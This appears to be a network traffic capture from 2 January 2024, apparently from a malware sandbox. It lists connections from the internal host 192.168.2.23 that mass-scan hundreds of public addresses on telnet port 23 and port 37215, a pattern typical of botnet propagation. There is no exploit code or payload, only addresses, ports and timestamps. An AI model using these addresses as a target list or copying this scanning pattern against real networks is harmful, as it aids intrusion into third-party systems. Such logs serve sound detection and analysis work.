Jan 2, 2024 06:23:48.217335939 CET	24529	37215	192.168.2.23	156.60.154.76
Jan 2, 2024 06:23:48.217338085 CET	24529	37215	192.168.2.23	197.213.180.240
Jan 2, 2024 06:23:48.217344999 CET	24529	37215	192.168.2.23	156.86.81.247
Jan 2, 2024 06:23:48.217363119 CET	24529	37215	192.168.2.23	197.63.249.22
Jan 2, 2024 06:23:48.217363119 CET	24529	37215	192.168.2.23	197.137.98.187
Jan 2, 2024 06:23:48.217370987 CET	24529	37215	192.168.2.23	156.158.223.145
Jan 2, 2024 06:23:48.217382908 CET	24529	37215	192.168.2.23	197.142.112.170
Jan 2, 2024 06:23:48.217382908 CET	24529	37215	192.168.2.23	197.145.14.126
Jan 2, 2024 06:23:48.217387915 CET	24529	37215	192.168.2.23	197.55.200.199
Jan 2, 2024 06:23:48.217387915 CET	24529	37215	192.168.2.23	197.206.45.158
Jan 2, 2024 06:23:48.217396021 CET	24529	37215	192.168.2.23	41.42.184.151
Jan 2, 2024 06:23:48.217405081 CET	24529	37215	192.168.2.23	41.63.175.206
Jan 2, 2024 06:23:48.217408895 CET	24529	37215	192.168.2.23	41.170.212.120
Jan 2, 2024 06:23:48.217410088 CET	24529	37215	192.168.2.23	156.135.39.88
Jan 2, 2024 06:23:48.217410088 CET	24529	37215	192.168.2.23	197.63.85.255
Jan 2, 2024 06:23:48.217422962 CET	24529	37215	192.168.2.23	197.204.207.98
Jan 2, 2024 06:23:48.217432976 CET	24529	37215	192.168.2.23	197.122.83.206
Jan 2, 2024 06:23:48.217434883 CET	24529	37215	192.168.2.23	197.63.20.244
Jan 2, 2024 06:23:48.217446089 CET	24529	37215	192.168.2.23	41.48.108.73
Jan 2, 2024 06:23:48.217447042 CET	24529	37215	192.168.2.23	41.202.174.213
Jan 2, 2024 06:23:48.217670918 CET	34064	37215	192.168.2.23	156.235.102.230
Jan 2, 2024 06:23:48.348642111 CET	23	14265	38.152.88.83	192.168.2.23
Jan 2, 2024 06:23:48.363950968 CET	80	18377	167.172.137.111	192.168.2.23
Jan 2, 2024 06:23:48.364007950 CET	18377	80	192.168.2.23	167.172.137.111
Jan 2, 2024 06:23:48.382560968 CET	37215	34064	156.235.102.230	192.168.2.23
Jan 2, 2024 06:23:48.382637978 CET	34064	37215	192.168.2.23	156.235.102.230
Jan 2, 2024 06:23:48.382924080 CET	34064	37215	192.168.2.23	156.235.102.230
Jan 2, 2024 06:23:48.382956982 CET	34064	37215	192.168.2.23	156.235.102.230
Jan 2, 2024 06:23:48.383016109 CET	34066	37215	192.168.2.23	156.235.102.230
Jan 2, 2024 06:23:48.421772957 CET	23	14265	190.73.189.149	192.168.2.23
Jan 2, 2024 06:23:48.453665972 CET	23	14265	131.114.170.228	192.168.2.23
Jan 2, 2024 06:23:48.459810019 CET	23	14265	151.95.192.136	192.168.2.23
Jan 2, 2024 06:23:48.462671995 CET	80	18377	91.215.216.43	192.168.2.23
Jan 2, 2024 06:23:48.462728977 CET	18377	80	192.168.2.23	91.215.216.43
Jan 2, 2024 06:23:48.465833902 CET	23	14265	83.6.89.221	192.168.2.23
Jan 2, 2024 06:23:48.470666885 CET	80	18377	189.76.61.91	192.168.2.23
Jan 2, 2024 06:23:48.475505114 CET	23	14265	125.142.194.94	192.168.2.23
Jan 2, 2024 06:23:48.487370968 CET	23	14265	49.88.209.56	192.168.2.23
Jan 2, 2024 06:23:48.489643097 CET	37215	24529	41.224.44.225	192.168.2.23
Jan 2, 2024 06:23:48.490354061 CET	80	18377	105.152.22.74	192.168.2.23
Jan 2, 2024 06:23:48.497539043 CET	23	14265	221.156.113.101	192.168.2.23
Jan 2, 2024 06:23:48.501491070 CET	80	18377	49.246.45.1	192.168.2.23
Jan 2, 2024 06:23:48.502413034 CET	80	18377	118.63.55.155	192.168.2.23
Jan 2, 2024 06:23:48.503889084 CET	23	14265	93.66.24.152	192.168.2.23
Jan 2, 2024 06:23:48.503984928 CET	80	18377	115.40.72.2	192.168.2.23
Jan 2, 2024 06:23:48.504308939 CET	80	18377	118.219.140.16	192.168.2.23
Jan 2, 2024 06:23:48.507766962 CET	37215	24529	156.225.31.136	192.168.2.23
Jan 2, 2024 06:23:48.516546965 CET	37215	24529	156.241.14.153	192.168.2.23
Jan 2, 2024 06:23:48.516590118 CET	24529	37215	192.168.2.23	156.241.14.153
Jan 2, 2024 06:23:48.520373106 CET	37215	24529	197.131.201.10	192.168.2.23
Jan 2, 2024 06:23:48.520910025 CET	37215	24529	156.247.18.93	192.168.2.23
Jan 2, 2024 06:23:48.520951033 CET	24529	37215	192.168.2.23	156.247.18.93
Jan 2, 2024 06:23:48.546251059 CET	37215	24529	197.6.57.2	192.168.2.23
Jan 2, 2024 06:23:48.564317942 CET	37215	24529	197.130.133.101	192.168.2.23
Jan 2, 2024 06:23:48.574979067 CET	80	18377	114.150.20.92	192.168.2.23
Jan 2, 2024 06:23:48.607650995 CET	23	14265	119.112.131.49	192.168.2.23
Jan 2, 2024 06:23:48.625004053 CET	37215	24529	197.100.243.89	192.168.2.23
Jan 2, 2024 06:23:48.754322052 CET	34064	37215	192.168.2.23	156.235.102.230
Jan 2, 2024 06:23:49.138283014 CET	42836	443	192.168.2.23	91.189.91.43
Jan 2, 2024 06:23:49.195907116 CET	14265	23	192.168.2.23	131.202.130.189
Jan 2, 2024 06:23:49.195911884 CET	14265	23	192.168.2.23	64.140.64.105
Jan 2, 2024 06:23:49.195911884 CET	14265	23	192.168.2.23	60.216.100.42
Jan 2, 2024 06:23:49.195916891 CET	14265	23	192.168.2.23	162.146.139.33
Jan 2, 2024 06:23:49.195926905 CET	14265	23	192.168.2.23	68.61.188.43
Jan 2, 2024 06:23:49.195939064 CET	14265	23	192.168.2.23	131.35.16.15
Jan 2, 2024 06:23:49.195939064 CET	14265	23	192.168.2.23	184.42.163.83
Jan 2, 2024 06:23:49.195945024 CET	14265	23	192.168.2.23	150.237.226.210
Jan 2, 2024 06:23:49.195950985 CET	14265	23	192.168.2.23	81.196.169.65
Jan 2, 2024 06:23:49.195955038 CET	14265	23	192.168.2.23	126.27.9.12
Jan 2, 2024 06:23:49.195959091 CET	14265	23	192.168.2.23	114.180.201.218
Jan 2, 2024 06:23:49.195971966 CET	14265	23	192.168.2.23	94.199.159.6
Jan 2, 2024 06:23:49.195972919 CET	14265	23	192.168.2.23	53.210.9.47
Jan 2, 2024 06:23:49.195972919 CET	14265	23	192.168.2.23	153.234.213.123
Jan 2, 2024 06:23:49.195991993 CET	14265	23	192.168.2.23	144.45.103.32
Jan 2, 2024 06:23:49.195995092 CET	14265	23	192.168.2.23	184.42.203.52
Jan 2, 2024 06:23:49.195996046 CET	14265	23	192.168.2.23	210.102.166.48
Jan 2, 2024 06:23:49.195996046 CET	14265	23	192.168.2.23	106.98.56.142
Jan 2, 2024 06:23:49.195996046 CET	14265	23	192.168.2.23	198.91.93.188
Jan 2, 2024 06:23:49.195997953 CET	14265	23	192.168.2.23	202.207.14.77
Jan 2, 2024 06:23:49.196010113 CET	14265	23	192.168.2.23	44.246.167.74
Jan 2, 2024 06:23:49.196016073 CET	14265	23	192.168.2.23	156.1.117.46
Jan 2, 2024 06:23:49.196016073 CET	14265	23	192.168.2.23	67.136.6.182
Jan 2, 2024 06:23:49.196029902 CET	14265	23	192.168.2.23	155.181.84.92
Jan 2, 2024 06:23:49.196031094 CET	14265	23	192.168.2.23	40.64.23.79
Jan 2, 2024 06:23:49.196033001 CET	14265	23	192.168.2.23	183.208.219.38
Jan 2, 2024 06:23:49.196042061 CET	14265	23	192.168.2.23	17.56.36.232
Jan 2, 2024 06:23:49.196048021 CET	14265	23	192.168.2.23	126.50.50.5
Jan 2, 2024 06:23:49.196048021 CET	14265	23	192.168.2.23	184.92.105.173
Jan 2, 2024 06:23:49.196058989 CET	14265	23	192.168.2.23	130.86.105.141
Jan 2, 2024 06:23:49.196063995 CET	14265	23	192.168.2.23	210.62.25.125
Jan 2, 2024 06:23:49.196079969 CET	14265	23	192.168.2.23	105.237.111.206
Jan 2, 2024 06:23:49.196079969 CET	14265	23	192.168.2.23	199.213.210.98
Jan 2, 2024 06:23:49.196079969 CET	14265	23	192.168.2.23	140.247.29.221
Jan 2, 2024 06:23:49.196080923 CET	14265	23	192.168.2.23	73.51.56.160
Jan 2, 2024 06:23:49.196094990 CET	14265	23	192.168.2.23	62.46.179.16
Jan 2, 2024 06:23:49.196099043 CET	14265	23	192.168.2.23	211.22.228.46
Jan 2, 2024 06:23:49.196103096 CET	14265	23	192.168.2.23	187.51.92.214
Jan 2, 2024 06:23:49.196114063 CET	14265	23	192.168.2.23	121.249.198.91
Jan 2, 2024 06:23:49.196118116 CET	14265	23	192.168.2.23	171.87.249.38
Jan 2, 2024 06:23:49.196118116 CET	14265	23	192.168.2.23	197.216.223.58
Jan 2, 2024 06:23:49.196124077 CET	14265	23	192.168.2.23	210.17.150.32
Jan 2, 2024 06:23:49.196130037 CET	14265	23	192.168.2.23	121.135.35.109
Jan 2, 2024 06:23:49.196142912 CET	14265	23	192.168.2.23	211.243.180.195
Jan 2, 2024 06:23:49.196144104 CET	14265	23	192.168.2.23	58.105.162.232
Jan 2, 2024 06:23:49.196150064 CET	14265	23	192.168.2.23	44.93.103.60
Jan 2, 2024 06:23:49.196156979 CET	14265	23	192.168.2.23	19.48.21.7
Jan 2, 2024 06:23:49.196156979 CET	14265	23	192.168.2.23	210.153.34.198
Jan 2, 2024 06:23:49.196176052 CET	14265	23	192.168.2.23	147.52.200.254
Jan 2, 2024 06:23:49.196176052 CET	14265	23	192.168.2.23	195.95.247.198
Jan 2, 2024 06:23:49.196176052 CET	14265	23	192.168.2.23	96.28.233.227
Jan 2, 2024 06:23:49.196177959 CET	14265	23	192.168.2.23	141.224.99.249
Jan 2, 2024 06:23:49.196183920 CET	14265	23	192.168.2.23	49.203.88.231
Jan 2, 2024 06:23:49.196187019 CET	14265	23	192.168.2.23	122.169.181.140
Jan 2, 2024 06:23:49.196192026 CET	14265	23	192.168.2.23	9.174.138.48
Jan 2, 2024 06:23:49.196206093 CET	14265	23	192.168.2.23	2.236.235.193
Jan 2, 2024 06:23:49.196207047 CET	14265	23	192.168.2.23	46.42.172.88
Jan 2, 2024 06:23:49.196207047 CET	14265	23	192.168.2.23	143.254.207.125
Jan 2, 2024 06:23:49.196214914 CET	14265	23	192.168.2.23	119.82.44.147
Jan 2, 2024 06:23:49.196217060 CET	14265	23	192.168.2.23	93.39.117.59
Jan 2, 2024 06:23:49.196218014 CET	14265	23	192.168.2.23	53.94.224.253
Jan 2, 2024 06:23:49.196218014 CET	14265	23	192.168.2.23	156.61.148.244
Jan 2, 2024 06:23:49.196228981 CET	14265	23	192.168.2.23	120.125.65.170
Jan 2, 2024 06:23:49.196235895 CET	14265	23	192.168.2.23	129.73.197.10
Jan 2, 2024 06:23:49.196237087 CET	14265	23	192.168.2.23	54.139.213.104
Jan 2, 2024 06:23:49.196249962 CET	14265	23	192.168.2.23	193.227.17.3
Jan 2, 2024 06:23:49.196252108 CET	14265	23	192.168.2.23	198.59.175.202
Jan 2, 2024 06:23:49.196259975 CET	14265	23	192.168.2.23	181.117.84.233
Jan 2, 2024 06:23:49.196260929 CET	14265	23	192.168.2.23	122.154.173.105
Jan 2, 2024 06:23:49.196261883 CET	14265	23	192.168.2.23	148.49.240.201
Jan 2, 2024 06:23:49.196264029 CET	14265	23	192.168.2.23	87.47.43.141
Jan 2, 2024 06:23:49.196261883 CET	14265	23	192.168.2.23	181.150.19.231
Jan 2, 2024 06:23:49.196260929 CET	14265	23	192.168.2.23	125.215.50.34
Jan 2, 2024 06:23:49.196273088 CET	14265	23	192.168.2.23	134.230.76.244
Jan 2, 2024 06:23:49.196280956 CET	14265	23	192.168.2.23	154.126.37.2
Jan 2, 2024 06:23:49.196283102 CET	14265	23	192.168.2.23	63.169.36.149
Jan 2, 2024 06:23:49.196285009 CET	14265	23	192.168.2.23	59.170.187.111
Jan 2, 2024 06:23:49.196297884 CET	14265	23	192.168.2.23	223.165.200.229
Jan 2, 2024 06:23:49.196299076 CET	14265	23	192.168.2.23	133.220.234.161
Jan 2, 2024 06:23:49.196305037 CET	14265	23	192.168.2.23	155.10.47.23
Jan 2, 2024 06:23:49.196310997 CET	14265	23	192.168.2.23	114.13.24.112
Jan 2, 2024 06:23:49.196321011 CET	14265	23	192.168.2.23	111.138.211.92
Jan 2, 2024 06:23:49.196322918 CET	14265	23	192.168.2.23	14.63.236.102
Jan 2, 2024 06:23:49.196322918 CET	14265	23	192.168.2.23	90.252.97.176
Jan 2, 2024 06:23:49.196324110 CET	14265	23	192.168.2.23	196.154.167.220
Jan 2, 2024 06:23:49.196326971 CET	14265	23	192.168.2.23	62.214.22.31
Jan 2, 2024 06:23:49.196336985 CET	14265	23	192.168.2.23	195.123.45.45
Jan 2, 2024 06:23:49.196338892 CET	14265	23	192.168.2.23	203.218.134.158
Jan 2, 2024 06:23:49.196341991 CET	14265	23	192.168.2.23	91.58.217.67
Jan 2, 2024 06:23:49.196345091 CET	14265	23	192.168.2.23	205.155.103.196
Jan 2, 2024 06:23:49.196357012 CET	14265	23	192.168.2.23	222.118.224.197
Jan 2, 2024 06:23:49.196360111 CET	14265	23	192.168.2.23	138.133.98.171
Jan 2, 2024 06:23:49.196360111 CET	14265	23	192.168.2.23	188.172.81.55
Jan 2, 2024 06:23:49.196366072 CET	14265	23	192.168.2.23	143.192.101.46
Jan 2, 2024 06:23:49.196367979 CET	14265	23	192.168.2.23	220.33.50.57
Jan 2, 2024 06:23:49.196384907 CET	14265	23	192.168.2.23	98.30.15.74
Jan 2, 2024 06:23:49.196384907 CET	14265	23	192.168.2.23	102.65.162.10
Jan 2, 2024 06:23:49.196388006 CET	14265	23	192.168.2.23	79.228.76.96
Jan 2, 2024 06:23:49.196388960 CET	14265	23	192.168.2.23	97.59.63.131
Jan 2, 2024 06:23:49.196393967 CET	14265	23	192.168.2.23	133.151.191.162
Jan 2, 2024 06:23:49.196402073 CET	14265	23	192.168.2.23	97.215.29.88
Jan 2, 2024 06:23:49.196402073 CET	14265	23	192.168.2.23	164.207.225.141
Jan 2, 2024 06:23:49.196408987 CET	14265	23	192.168.2.23	87.97.9.197
Jan 2, 2024 06:23:49.196414948 CET	14265	23	192.168.2.23	204.198.213.118
Jan 2, 2024 06:23:49.196422100 CET	14265	23	192.168.2.23	164.80.79.239
Jan 2, 2024 06:23:49.196424007 CET	14265	23	192.168.2.23	135.197.66.209
Jan 2, 2024 06:23:49.196432114 CET	14265	23	192.168.2.23	201.48.192.3
Jan 2, 2024 06:23:49.196439028 CET	14265	23	192.168.2.23	130.159.83.5
Jan 2, 2024 06:23:49.196444988 CET	14265	23	192.168.2.23	8.152.235.39
Jan 2, 2024 06:23:49.196444988 CET	14265	23	192.168.2.23	192.142.255.155
Jan 2, 2024 06:23:49.196463108 CET	14265	23	192.168.2.23	123.70.228.85
Jan 2, 2024 06:23:49.196464062 CET	14265	23	192.168.2.23	170.236.218.181
Jan 2, 2024 06:23:49.196466923 CET	14265	23	192.168.2.23	140.56.70.76
Jan 2, 2024 06:23:49.196466923 CET	14265	23	192.168.2.23	134.164.77.78
Jan 2, 2024 06:23:49.196472883 CET	14265	23	192.168.2.23	158.127.44.196
Jan 2, 2024 06:23:49.196472883 CET	14265	23	192.168.2.23	102.73.235.149
Jan 2, 2024 06:23:49.196485043 CET	14265	23	192.168.2.23	178.156.216.70
Jan 2, 2024 06:23:49.196485043 CET	14265	23	192.168.2.23	222.178.223.91
Jan 2, 2024 06:23:49.196490049 CET	14265	23	192.168.2.23	164.2.217.232
Jan 2, 2024 06:23:49.196508884 CET	14265	23	192.168.2.23	206.46.217.125
Jan 2, 2024 06:23:49.196508884 CET	14265	23	192.168.2.23	156.136.87.108
Jan 2, 2024 06:23:49.196522951 CET	14265	23	192.168.2.23	113.247.16.79
Jan 2, 2024 06:23:49.196523905 CET	14265	23	192.168.2.23	205.223.37.244
Jan 2, 2024 06:23:49.196527004 CET	14265	23	192.168.2.23	38.58.83.11
Jan 2, 2024 06:23:49.196533918 CET	14265	23	192.168.2.23	68.154.15.45
Jan 2, 2024 06:23:49.196543932 CET	14265	23	192.168.2.23	158.210.255.179
Jan 2, 2024 06:23:49.196548939 CET	14265	23	192.168.2.23	182.253.187.98
Jan 2, 2024 06:23:49.196552992 CET	14265	23	192.168.2.23	203.130.221.116
Jan 2, 2024 06:23:49.196562052 CET	14265	23	192.168.2.23	25.178.111.70
Jan 2, 2024 06:23:49.196566105 CET	14265	23	192.168.2.23	35.170.66.57
Jan 2, 2024 06:23:49.196566105 CET	14265	23	192.168.2.23	41.34.104.220
Jan 2, 2024 06:23:49.196573973 CET	14265	23	192.168.2.23	113.233.225.94
Jan 2, 2024 06:23:49.196577072 CET	14265	23	192.168.2.23	178.159.79.88
Jan 2, 2024 06:23:49.196592093 CET	14265	23	192.168.2.23	94.247.236.67
Jan 2, 2024 06:23:49.196592093 CET	14265	23	192.168.2.23	136.163.9.35
Jan 2, 2024 06:23:49.196593046 CET	14265	23	192.168.2.23	62.29.242.252
Jan 2, 2024 06:23:49.196597099 CET	14265	23	192.168.2.23	49.244.80.32
Jan 2, 2024 06:23:49.196600914 CET	14265	23	192.168.2.23	107.106.166.231
Jan 2, 2024 06:23:49.196604967 CET	14265	23	192.168.2.23	164.135.191.50
Jan 2, 2024 06:23:49.196611881 CET	14265	23	192.168.2.23	148.223.241.234
Jan 2, 2024 06:23:49.196624994 CET	14265	23	192.168.2.23	208.161.191.48
Jan 2, 2024 06:23:49.196624994 CET	14265	23	192.168.2.23	181.121.80.159
Jan 2, 2024 06:23:49.196634054 CET	14265	23	192.168.2.23	141.51.88.105
Jan 2, 2024 06:23:49.196655035 CET	14265	23	192.168.2.23	194.16.228.174
Jan 2, 2024 06:23:49.196655989 CET	14265	23	192.168.2.23	134.222.138.248
Jan 2, 2024 06:23:49.196655035 CET	14265	23	192.168.2.23	182.7.223.59
Jan 2, 2024 06:23:49.196657896 CET	14265	23	192.168.2.23	121.61.114.70
Jan 2, 2024 06:23:49.196657896 CET	14265	23	192.168.2.23	37.212.64.145
Jan 2, 2024 06:23:49.196671009 CET	14265	23	192.168.2.23	201.88.6.219
Jan 2, 2024 06:23:49.196672916 CET	14265	23	192.168.2.23	112.16.127.239
Jan 2, 2024 06:23:49.196676016 CET	14265	23	192.168.2.23	130.193.241.88
Jan 2, 2024 06:23:49.196676016 CET	14265	23	192.168.2.23	141.245.54.127
Jan 2, 2024 06:23:49.196691036 CET	14265	23	192.168.2.23	139.51.143.216
Jan 2, 2024 06:23:49.196700096 CET	14265	23	192.168.2.23	140.251.251.236
Jan 2, 2024 06:23:49.196701050 CET	14265	23	192.168.2.23	40.189.104.66
Jan 2, 2024 06:23:49.196701050 CET	14265	23	192.168.2.23	172.46.245.211
Jan 2, 2024 06:23:49.196703911 CET	14265	23	192.168.2.23	86.126.39.148
Jan 2, 2024 06:23:49.196703911 CET	14265	23	192.168.2.23	212.203.230.69
Jan 2, 2024 06:23:49.196708918 CET	14265	23	192.168.2.23	58.29.236.78
Jan 2, 2024 06:23:49.196727991 CET	14265	23	192.168.2.23	85.241.181.73
Jan 2, 2024 06:23:49.196727991 CET	14265	23	192.168.2.23	57.41.139.207
Jan 2, 2024 06:23:49.196728945 CET	14265	23	192.168.2.23	143.172.72.57
Jan 2, 2024 06:23:49.196737051 CET	14265	23	192.168.2.23	67.78.205.226
Jan 2, 2024 06:23:49.196738958 CET	14265	23	192.168.2.23	53.25.76.126
Jan 2, 2024 06:23:49.196743965 CET	14265	23	192.168.2.23	38.142.238.73
Jan 2, 2024 06:23:49.196743965 CET	14265	23	192.168.2.23	184.58.133.178
Jan 2, 2024 06:23:49.196748018 CET	14265	23	192.168.2.23	104.93.238.159
Jan 2, 2024 06:23:49.196758032 CET	14265	23	192.168.2.23	176.117.154.116
Jan 2, 2024 06:23:49.196758986 CET	14265	23	192.168.2.23	71.244.6.178
Jan 2, 2024 06:23:49.196759939 CET	14265	23	192.168.2.23	49.215.173.12
Jan 2, 2024 06:23:49.196760893 CET	14265	23	192.168.2.23	158.148.25.31
Jan 2, 2024 06:23:49.196770906 CET	14265	23	192.168.2.23	94.134.182.45
Jan 2, 2024 06:23:49.196779966 CET	14265	23	192.168.2.23	207.222.212.163
Jan 2, 2024 06:23:49.196783066 CET	14265	23	192.168.2.23	188.72.46.6
Jan 2, 2024 06:23:49.196789026 CET	14265	23	192.168.2.23	198.61.18.214
Jan 2, 2024 06:23:49.196790934 CET	14265	23	192.168.2.23	151.214.84.14
Jan 2, 2024 06:23:49.196825981 CET	14265	23	192.168.2.23	189.149.112.222
Jan 2, 2024 06:23:49.196825981 CET	14265	23	192.168.2.23	178.250.125.135
Jan 2, 2024 06:23:49.196834087 CET	14265	23	192.168.2.23	32.174.251.35
Jan 2, 2024 06:23:49.196834087 CET	14265	23	192.168.2.23	66.213.173.227
Jan 2, 2024 06:23:49.196835041 CET	14265	23	192.168.2.23	223.24.16.20
Jan 2, 2024 06:23:49.196834087 CET	14265	23	192.168.2.23	62.49.33.104
Jan 2, 2024 06:23:49.196837902 CET	14265	23	192.168.2.23	132.109.204.40
Jan 2, 2024 06:23:49.196837902 CET	14265	23	192.168.2.23	13.58.30.153
Jan 2, 2024 06:23:49.196840048 CET	14265	23	192.168.2.23	19.96.121.132
Jan 2, 2024 06:23:49.196840048 CET	14265	23	192.168.2.23	18.177.153.182
Jan 2, 2024 06:23:49.196840048 CET	14265	23	192.168.2.23	158.10.240.249
Jan 2, 2024 06:23:49.196840048 CET	14265	23	192.168.2.23	79.185.99.95
Jan 2, 2024 06:23:49.196842909 CET	14265	23	192.168.2.23	152.158.124.27
Jan 2, 2024 06:23:49.196842909 CET	14265	23	192.168.2.23	50.4.24.114
Jan 2, 2024 06:23:49.196842909 CET	14265	23	192.168.2.23	188.66.136.75
Jan 2, 2024 06:23:49.196847916 CET	14265	23	192.168.2.23	114.22.246.230
Jan 2, 2024 06:23:49.196854115 CET	14265	23	192.168.2.23	111.220.74.49
Jan 2, 2024 06:23:49.196854115 CET	14265	23	192.168.2.23	119.132.161.16
Jan 2, 2024 06:23:49.196855068 CET	14265	23	192.168.2.23	172.42.28.198
Jan 2, 2024 06:23:49.196855068 CET	14265	23	192.168.2.23	220.217.202.241
Jan 2, 2024 06:23:49.196855068 CET	14265	23	192.168.2.23	219.141.110.177
Jan 2, 2024 06:23:49.196856976 CET	14265	23	192.168.2.23	19.223.189.239
Jan 2, 2024 06:23:49.196857929 CET	14265	23	192.168.2.23	59.152.96.157
Jan 2, 2024 06:23:49.196857929 CET	14265	23	192.168.2.23	213.183.10.170
Jan 2, 2024 06:23:49.196861029 CET	14265	23	192.168.2.23	203.220.100.146
Jan 2, 2024 06:23:49.196861029 CET	14265	23	192.168.2.23	156.154.214.39
Jan 2, 2024 06:23:49.196877956 CET	14265	23	192.168.2.23	111.98.134.151
Jan 2, 2024 06:23:49.196878910 CET	14265	23	192.168.2.23	211.213.253.121
Jan 2, 2024 06:23:49.196881056 CET	14265	23	192.168.2.23	138.168.144.202
Jan 2, 2024 06:23:49.196881056 CET	14265	23	192.168.2.23	42.152.245.187
Jan 2, 2024 06:23:49.196882010 CET	14265	23	192.168.2.23	70.113.204.205
Jan 2, 2024 06:23:49.196892023 CET	14265	23	192.168.2.23	217.159.90.34
Jan 2, 2024 06:23:49.196892977 CET	14265	23	192.168.2.23	98.130.251.103
Jan 2, 2024 06:23:49.196897030 CET	14265	23	192.168.2.23	14.203.175.90
Jan 2, 2024 06:23:49.196906090 CET	14265	23	192.168.2.23	184.28.97.253
Jan 2, 2024 06:23:49.196907997 CET	14265	23	192.168.2.23	9.195.2.248
Jan 2, 2024 06:23:49.196913004 CET	14265	23	192.168.2.23	169.231.99.77
Jan 2, 2024 06:23:49.196917057 CET	14265	23	192.168.2.23	189.247.19.232
Jan 2, 2024 06:23:49.196918964 CET	14265	23	192.168.2.23	122.59.139.170
Jan 2, 2024 06:23:49.196928978 CET	14265	23	192.168.2.23	66.125.38.232
Jan 2, 2024 06:23:49.196933985 CET	14265	23	192.168.2.23	197.66.130.198
Jan 2, 2024 06:23:49.196935892 CET	14265	23	192.168.2.23	60.192.251.40
Jan 2, 2024 06:23:49.196944952 CET	14265	23	192.168.2.23	133.66.111.9
Jan 2, 2024 06:23:49.196949005 CET	14265	23	192.168.2.23	178.3.94.30
Jan 2, 2024 06:23:49.196949005 CET	14265	23	192.168.2.23	158.140.47.188
Jan 2, 2024 06:23:49.196958065 CET	14265	23	192.168.2.23	27.227.176.46
Jan 2, 2024 06:23:49.196958065 CET	14265	23	192.168.2.23	27.208.145.161
Jan 2, 2024 06:23:49.196973085 CET	14265	23	192.168.2.23	137.11.11.72
Jan 2, 2024 06:23:49.196973085 CET	14265	23	192.168.2.23	165.123.199.209
Jan 2, 2024 06:23:49.196980000 CET	14265	23	192.168.2.23	158.251.204.171
Jan 2, 2024 06:23:49.196980953 CET	14265	23	192.168.2.23	144.147.27.116
Jan 2, 2024 06:23:49.196980953 CET	14265	23	192.168.2.23	223.126.97.131
Jan 2, 2024 06:23:49.196995974 CET	14265	23	192.168.2.23	78.93.247.235
Jan 2, 2024 06:23:49.196997881 CET	14265	23	192.168.2.23	148.184.196.66
Jan 2, 2024 06:23:49.196999073 CET	14265	23	192.168.2.23	188.188.192.69
Jan 2, 2024 06:23:49.197015047 CET	14265	23	192.168.2.23	108.235.189.4
Jan 2, 2024 06:23:49.197025061 CET	14265	23	192.168.2.23	38.55.159.131
Jan 2, 2024 06:23:49.197025061 CET	14265	23	192.168.2.23	40.242.96.35
Jan 2, 2024 06:23:49.197026014 CET	14265	23	192.168.2.23	32.237.2.19
Jan 2, 2024 06:23:49.197026014 CET	14265	23	192.168.2.23	154.157.200.7
Jan 2, 2024 06:23:49.197041035 CET	14265	23	192.168.2.23	218.230.47.156
Jan 2, 2024 06:23:49.197041035 CET	14265	23	192.168.2.23	35.62.65.106
Jan 2, 2024 06:23:49.197047949 CET	14265	23	192.168.2.23	221.169.231.241
Jan 2, 2024 06:23:49.197062969 CET	14265	23	192.168.2.23	221.73.217.195
Jan 2, 2024 06:23:49.197065115 CET	14265	23	192.168.2.23	192.103.143.237
Jan 2, 2024 06:23:49.197065115 CET	14265	23	192.168.2.23	79.242.80.241
Jan 2, 2024 06:23:49.197067976 CET	14265	23	192.168.2.23	178.24.179.18
Jan 2, 2024 06:23:49.197072983 CET	14265	23	192.168.2.23	192.25.119.215
Jan 2, 2024 06:23:49.197082996 CET	14265	23	192.168.2.23	105.241.249.52
Jan 2, 2024 06:23:49.197084904 CET	14265	23	192.168.2.23	25.48.246.163
Jan 2, 2024 06:23:49.197092056 CET	14265	23	192.168.2.23	85.99.88.227
Jan 2, 2024 06:23:49.197102070 CET	14265	23	192.168.2.23	77.55.158.57
Jan 2, 2024 06:23:49.197103977 CET	14265	23	192.168.2.23	188.114.228.140
Jan 2, 2024 06:23:49.197113037 CET	14265	23	192.168.2.23	133.46.234.186
Jan 2, 2024 06:23:49.197117090 CET	14265	23	192.168.2.23	174.248.177.37
Jan 2, 2024 06:23:49.197128057 CET	14265	23	192.168.2.23	37.15.15.125
Jan 2, 2024 06:23:49.197128057 CET	14265	23	192.168.2.23	155.52.55.58
Jan 2, 2024 06:23:49.197145939 CET	14265	23	192.168.2.23	161.31.110.77
Jan 2, 2024 06:23:49.197150946 CET	14265	23	192.168.2.23	112.157.156.16
Jan 2, 2024 06:23:49.197150946 CET	14265	23	192.168.2.23	203.87.31.210
Jan 2, 2024 06:23:49.197155952 CET	14265	23	192.168.2.23	100.211.58.210
Jan 2, 2024 06:23:49.197165012 CET	14265	23	192.168.2.23	182.163.35.61
Jan 2, 2024 06:23:49.197171926 CET	14265	23	192.168.2.23	139.154.159.49
Jan 2, 2024 06:23:49.197179079 CET	14265	23	192.168.2.23	190.168.88.56
Jan 2, 2024 06:23:49.197179079 CET	14265	23	192.168.2.23	92.55.104.242
Jan 2, 2024 06:23:49.197191000 CET	14265	23	192.168.2.23	124.33.157.19
Jan 2, 2024 06:23:49.197196007 CET	14265	23	192.168.2.23	171.245.151.234
Jan 2, 2024 06:23:49.197199106 CET	14265	23	192.168.2.23	36.196.73.21
Jan 2, 2024 06:23:49.197216988 CET	14265	23	192.168.2.23	75.202.176.232
Jan 2, 2024 06:23:49.197221041 CET	14265	23	192.168.2.23	40.78.115.109
Jan 2, 2024 06:23:49.197221041 CET	14265	23	192.168.2.23	53.127.97.130
Jan 2, 2024 06:23:49.197221041 CET	14265	23	192.168.2.23	17.70.171.81
Jan 2, 2024 06:23:49.197228909 CET	14265	23	192.168.2.23	139.180.127.14
Jan 2, 2024 06:23:49.197232008 CET	14265	23	192.168.2.23	134.255.202.13
Jan 2, 2024 06:23:49.197232008 CET	14265	23	192.168.2.23	204.206.173.0
Jan 2, 2024 06:23:49.197232008 CET	14265	23	192.168.2.23	92.243.206.59
Jan 2, 2024 06:23:49.197232008 CET	14265	23	192.168.2.23	62.87.134.6
Jan 2, 2024 06:23:49.197232962 CET	14265	23	192.168.2.23	86.25.28.137
Jan 2, 2024 06:23:49.197240114 CET	14265	23	192.168.2.23	199.191.129.74
Jan 2, 2024 06:23:49.197244883 CET	14265	23	192.168.2.23	132.7.190.101
Jan 2, 2024 06:23:49.197248936 CET	14265	23	192.168.2.23	115.126.203.92
Jan 2, 2024 06:23:49.197248936 CET	14265	23	192.168.2.23	129.149.107.176
Jan 2, 2024 06:23:49.197251081 CET	14265	23	192.168.2.23	157.34.210.75
Jan 2, 2024 06:23:49.197253942 CET	14265	23	192.168.2.23	24.75.166.152
Jan 2, 2024 06:23:49.197262049 CET	14265	23	192.168.2.23	173.142.51.46
